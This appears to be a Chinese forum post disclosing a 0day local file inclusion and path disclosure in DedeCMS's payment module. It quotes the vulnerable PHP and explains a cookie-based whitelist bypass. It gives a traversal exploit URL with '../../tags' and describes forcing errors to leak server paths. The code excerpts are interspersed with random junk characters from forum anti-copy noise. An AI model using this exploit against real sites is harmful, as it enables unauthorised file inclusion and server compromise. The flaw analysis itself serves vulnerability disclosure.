dedecms本地文件包含及物理路径泄露0day

admin

晚餐吃撑了，瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多，赶紧下了套，用editplus搜索了几个关键字，果然发现些问题。(话说平时写代码也喜欢用editplus，小巧方便多年习惯)

出现漏洞的两个文件为：
Include/payment/alipay.php
Include/payment/yeepay.php
漏洞均出现在respond方法里，估计这两个文件是临时工写的。

Include/payment/alipay.php
# ^! b% k% d- W
......
   function respond()
    {
& S2 h3 H2 v5 _% v& w9 k        if (!empty($_POST))
+ `7 E; E) [* R% I$ U        {
            foreach($_POST as $key => $data)
* t: {" A1 k7 h7 z. k; o            {
                $_GET[$key] = $data;
5 O5 x; ^8 v( k% h8 t5 C( P            }
; h* J! Y/ G* E1 ~  F        }
        /* 引入配置文件 */
( n* v8 w, p0 z9 U        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
7 f7 |3 [# |; \7 _......


大概在133行左右，$_GET[‘code’]没有经过任何判断和过滤。
) d' r- R1 p4 J: f  P
Include/payment/yeepay.php

5 s6 m- Z; U& o+ z0 h1 |. V

......
4 D& o" w* P9 ?7 i5 s7 Z    function respond()
    {

! G1 S3 Z- ?2 Y9 Z" a! j* v        /* 引入配置文件 */
& |/ o/ j- z: d        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
  Q1 g8 K! y/ Y* r3 z  v7 j
        $p1_MerId = trim($payment['yp_account']);
        $merchantKey = trim($payment['yp_key']);
  u7 _$ y" F6 {& @......
3 F% A1 M2 {" I9 S

- \' ^2 e0 ^+ _: Y# Q6 I( B- {* e* o

大概在145行左右，$_REQUEST['code']没有经过任何判断和过滤。
! D7 e" D, q. J% R0 Y
这两个方法在plus/carbuyaction.php文件调用。

" v+ A5 z0 N, {$ O9 s( T& N! c- {plus/carbuyaction.php

% Z" H( e) F8 w; a......
} else if ($dopost == 'return') {
    $write_list = array('alipay', 'bank', 'cod', 'yeepay');
# q6 r$ k" r0 I0 i4 g& m' \' _    if (in_array($code, $write_list))
    {
! A4 D# W. x; E) R: t        require_once DEDEINC.'/payment/'.$code.'.php';
        $pay = new $code;
        $msg=$pay->respond();
        ShowMsg($msg, "javascript:;", 0, 3000);
        exit();  
    } else {
        exit('Error:File Type Can\'t Recognized!');
, T# ~3 q  Y' q    }
}
......
) i5 t8 t3 ^: g8 b' s# b

+ Q% K0 P) y" {4 d2 {/ o

! w$ T  b" ~  k' ]8 |

5 J8 w$ P  y) a大概在334行，当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
" k9 {$ v5 K( Q$ w所以$_GET['code']或$_REQUEST['code']会变成$code，而$code是经过判断的，值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。

0 C# B' Q$ |9 W9 I) {) E% W8 y回到include/common.inc.php来看看他的机制。


. N* H% a) J: N1 C0 B
......
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
        foreach($$_request as $_k => $_v)
- C/ f" h% N5 E* M        {
                if($_k == 'nvarname') ${$_k} = $_v;
5 t! T: }5 O4 \                else ${$_k} = _RunMagicQuotes($_v);
        }
% q3 K4 R9 W+ |}
......
大概在79行，可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿，细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准，而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断，使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
6 M6 x: w9 \4 }. h, F3 e: B由于bank和cod这两个文件并没有respond方法，所以如果code等于bank或者cod时将会暴错泄露路径。注：请勿非法测试，产生后果与本人无关。